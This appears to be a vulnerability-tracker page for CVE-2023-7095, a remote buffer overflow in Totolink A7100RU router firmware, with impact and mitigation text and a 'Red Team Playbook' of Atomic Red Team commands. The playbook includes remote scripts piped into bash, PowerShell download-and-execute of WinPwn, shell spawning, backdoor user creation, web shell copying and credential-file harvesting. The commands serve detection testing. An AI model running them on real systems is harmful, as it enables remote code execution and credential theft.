CVE-2023-7095
Overview
This vulnerability is a buffer overflow occurring in the HTTP POST request handler component of Totolink A7100RU firmware version 7.4cu.2313_B20191024. Specifically, the flaw is triggered by improper handling of the 'flag' argument within the 'main' function of the /cgi-bin/cstecgi.cgi?action=login endpoint. The lack of adequate bounds checking on this input leads to memory corruption.
Vulnerability Description
A vulnerability, which was classified as critical, has been found in Totolink A7100RU 7.4cu.2313_B20191024. Affected by this issue is the function main of the file /cgi-bin/cstecgi.cgi?action=login of the component HTTP POST Request Handler. The manipulation of the argument flag leads to buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-248942 is the identifier assigned to this vulnerability.
Impact
An unauthenticated remote attacker can exploit this buffer overflow to execute arbitrary code on the device, potentially gaining full control over the router. This could lead to compromise of network traffic, persistent device manipulation, or disruption of service. The vulnerability requires only network access and no user interaction, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N), making exploitation straightforward in exposed environments.
Solution
Users should upgrade the Totolink A7100RU firmware to a version later than 7.4cu.2313_B20191024 once a patch is released. Refer to the advisory at https://vuldb.com/?id.248942 for official updates and detailed patch instructions. Until patched, restricting external access to the affected CGI endpoint and implementing network-level controls may mitigate exposure.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in the Totolink A7100RU router firmware, specifically within the HTTP POST request handler. The issue arises from improper handling of input parameters in the login function of the CGI script located at /cgi-bin/cstecgi.cgi. The vulnerability is characterized by a buffer overflow condition triggered by manipulating the argument flag. This flaw allows an attacker to overwrite memory, potentially leading to arbitrary code execution, which is particularly dangerous in networked devices like routers that often serve as gateways to internal networks.
Exploitation of this vulnerability can occur remotely, making it accessible to attackers without physical access to the device. An attacker could craft a malicious HTTP POST request that includes specially designed input to manipulate the buffer overflow condition. Once the overflow is successfully executed, the attacker could gain control over the device, allowing them to execute arbitrary commands, intercept network traffic, or even pivot to other devices on the same network. Given the widespread deployment of such devices in both residential and enterprise environments, the potential for exploitation is significant, especially if the devices are not adequately secured.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on the affected router for network connectivity. Successful exploitation could lead to unauthorized access to sensitive data, disruption of network services, and compromise of the integrity of networked systems. For businesses, the consequences could include financial losses, reputational damage, and regulatory penalties, especially if customer data is exposed. Furthermore, the public disclosure of the vulnerability increases the urgency for organizations to address the issue, as malicious actors are likely to develop and deploy exploit code in the wild.
To detect and mitigate the risk associated with this vulnerability, organizations should implement a multi-faceted approach. First, regular vulnerability assessments and penetration testing should be conducted to identify and remediate weaknesses in network devices. Organizations should also monitor network traffic for unusual patterns that may indicate exploitation attempts. Additionally, it is crucial to ensure that all firmware is kept up to date, as manufacturers often release patches to address known vulnerabilities. In the case of the Totolink A7100RU, users should immediately apply any available firmware updates or consider replacing the device with a more secure alternative if a patch is not forthcoming.
In conclusion, the critical vulnerability in the Totolink A7100RU firmware poses a significant risk to both individual users and organizations. With the potential for remote exploitation leading to severe consequences, it is imperative that affected parties take immediate action to secure their devices. By adopting proactive detection and mitigation strategies, organizations can reduce their exposure to this and similar vulnerabilities, ultimately safeguarding their networks and sensitive data from malicious actors.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Totolink | A7100ru Firmware | 7.4cu.2313_b20191024 |
cpe:2.3:o:totolink:a7100ru_firmware:7.4cu.2313_b20191024:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-7095 |
| vuldb.com |
GitHub CVE
vdb-entry
technical-description
|
https://vuldb.com/?id.248942 |
| vuldb.com |
GitHub CVE
signature
permissions-required
|
https://vuldb.com/?ctiid.248942 |
| github.com |
GitHub CVE
exploit
|
https://github.com/unpWn4bL3/iot-security/blob/main/2.md |